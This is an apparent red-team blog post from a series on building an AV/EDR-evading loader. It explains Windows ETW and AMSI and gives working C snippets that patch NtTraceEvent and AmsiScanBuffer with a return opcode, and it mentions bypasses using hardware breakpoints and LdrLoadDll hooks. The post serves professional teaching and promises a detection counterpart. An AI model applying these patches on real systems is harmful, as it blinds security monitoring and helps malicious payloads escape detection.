Search
Blog article

Loader Dev. 4 – AMSI and ETW

In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Disclaimer

These posts are written to provide information to other professionals of the discussed topics.

The techniques used here are not novel and were documented by other people before. Therefore, the benefits of these posts for threat actors will likely be minimal. Nonetheless, we decided against releasing a full PoC implementation and will instead only provide code snippets as part of the posts. All credit should go to the people who did the original research on the techniques used.

There will also be an accompanying blog post on detecting or hunting for malware using the discussed techniques to enable readers to protect their environment.

Background

ETW

Event Tracing for Windows collects events from a process, which can then be retrieved e.g. by an EDR or AV solution. This could allow the detection of our payload. An article that discusses more details can be found here. An easy way to see the effect of patching ETW is using the process hacker after loading a C# assembly. The following screenshot was taken without patching ETW:

Kolja Grassmann

Consultant

Category

Date

Navigation

This screenshot shows that Rubeus was loaded into our process. If the Process Hacker is aware of this, an EDR can also detect it. The next screenshot shows the same window, but this time ETW was patched before the C# assembly was loaded:

As we can see, there is no information about the loaded assemblies available.

AMSI

AMSI is another feature provided by Microsoft. Here, an EDR or AV solution can register as a provider and will then get handed e.g. C# assemblies or PowerShell scripts before they are executed. This is done automatically e.g. while loading a C# assembly. Our payload would be unencrypted at this point and could therefore be detected.

As both ETW and AMSI are implemented in user space, we can interfere with them from there. Note, however, that attacking these features might lead to detection and it might make sense to use more creative solutions than we did in this post.

Patching functions

Like the hooks placed by EDRs, we can simply modify functions that are needed for ETW or AMSI. Note that both locations at which we are currently patching functions are well-known and patches at these locations will likely be detected by at least some EDRs.

ETW

For ETW, the NtTraceEvent syscall is used to turn over this information to the kernel from which it can be later retrieved. Therefore, patching this syscall in ntdll.dll so that it does not hand over the information should disable the feature. There are also other functions related to ETW, but the NtTaceEvent function seems to be central to the functionality of ETW and therefore a good option. A PoC can be found here. The implementation in our loader looks as follows:

// Get a handle to ntdll
HANDLE ntdll_handle = GetModuleHandle("ntdll.dll");

// Get the address of NtTraceEvent
LPVOID nttraceevent_address = GetProcAddress(ntdll_handle, "NtTraceEvent");

// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID nttraceevent_address_copy = nttraceevent_address;

// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address_copy, &size, PAGE_EXECUTE_READWRITE, &oldprotect);

// Write a return opcode at offset 3
memcpy(nttraceevent_address+3, "\xc3", 1); // ret

// Change the protections back to the original ones
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address, &size, PAGE_EXECUTE_READ,&oldprotect);

AMSI

For AMSI, we can patch, for example, the AmsiScanBuffer function. The implementation currently looks very similar to the one for ETW, but we additionally need to ensure that amsi.dll is loaded:

// Get a handle to amsi.dll
HMODULE amsi_handle = LoadLibraryA("amsi.dll");

// Get the address of the AmsiScanBuffer function
LPVOID amsiscanbuffer_address = GetProcAddress(amsi_handle, "AmsiScanBuffer");

// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID amsiscanbuffer_address_copy = amsiscanbuffer_address;

// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address_copy, &size, PAGE_READWRITE,&oldprotect);

// Write a return opcode at offset 3
memcpy(amsiscanbuffer_address+3, "\xc3", 1); // ret

// Change the protections back to the original ones
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address, &size, oldprotect,&oldprotect);

In our opinion, this is suspicious, as we are forcing a load of amsi.dll at a point where it is not needed. A better strategy would be to invoke legit functionality, which causes amsi.dll to be loaded, and to then patch it after it was loaded.

Vectored Exception Handling

There is a blog post by EthicalChaos, which discusses evading AMSI without making changes to the process memory. This works by setting a hardware breakpoint on the previously discussed functions and then using a Vectored Exception Handler to handle this hardware breakpoint. Our exception handler can then force the function to return and specify a return value indicating that everything went well. There is an implementation of this in which details can be seen.

Library Loads (AMSI)

Another idea for disabling AMSI is to prevent amsi.dll from being loaded. This could e.g. be done by adding a hook to LdrLoadDll in ntdll.dll to filter the DLLs we allow our process to load. This is done by batsec in a sample solution.

Summary

In this post, we looked at disabling ETW and AMSI for our process, which is especially relevant for loading C# executables. In the next post, we will finally be discussing how to load our actual payload and how well the loader fares against security products.

Further blog articles

Blog

Loader Dev. 5 – Loading our payload

May 10, 2024 – In this post, we will finally cover loading our actual payload. As discussed at the beginning of this series, our loader should be able to load shellcode and C# assemblies as well as PEs. The actual mode will be chosen using an argument to the python script used for compilation.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »

Do you want to protect your systems? Get in touch with us.

Search
Search